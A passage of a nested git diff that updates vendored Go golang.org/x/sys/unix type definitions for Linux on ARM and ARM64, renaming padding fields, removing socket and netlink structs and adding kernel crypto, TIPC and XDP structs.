-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint64
-+ Inode uint64
-+ Rdevice uint64
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go
-index bff6ce25..8051b561 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,169 +81,51 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
-- Dev uint64
-- X__pad1 uint16
-- Pad_cgo_0 [2]byte
-- X__st_ino uint32
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- X__pad2 uint16
-- Pad_cgo_1 [6]byte
-- Size int64
-- Blksize int32
-- Pad_cgo_2 [4]byte
-- Blocks int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Ino uint64
--}
--
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int32
-- Frsize int32
-- Flags int32
-- Spare [4]int32
-- Pad_cgo_0 [4]byte
-+ Dev uint64
-+ _ uint16
-+ _ uint32
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint16
-+ _ [4]byte
-+ Size int64
-+ Blksize int32
-+ _ [4]byte
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Ino uint64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]uint8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]uint8
-@@ -261,41 +136,11 @@ type RawSockaddrAny struct {
- Pad [96]uint8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -312,277 +157,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Uregs [18]uint32
- }
-@@ -605,16 +189,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]uint8
--}
--
--type Utsname struct {
-- Sysname [65]uint8
-- Nodename [65]uint8
-- Release [65]uint8
-- Version [65]uint8
-- Machine [65]uint8
-- Domainname [65]uint8
-+ _ [8]uint8
- }
-
- type Ustat_t struct {
-@@ -632,37 +207,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -675,20 +227,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -700,13 +244,13 @@ type Taskstats struct {
- Ac_comm [32]uint8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -730,55 +274,318 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]uint8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Frsize int32
-+ Flags int32
-+ Spare [4]int32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x18
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x1269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint16
-+ Inode uint32
-+ Rdevice uint16
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]uint8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go
-index a3d0cc4a..a936f216 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -106,10 +89,10 @@ type Stat_t struct {
- Uid uint32
- Gid uint32
- Rdev uint64
-- X__pad1 uint64
-+ _ uint64
- Size int64
- Blksize int32
-- X__pad2 int32
-+ _ int32
- Blocks int64
- Atim Timespec
- Mtim Timespec
-@@ -117,139 +100,29 @@ type Stat_t struct {
- _ [2]int32
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
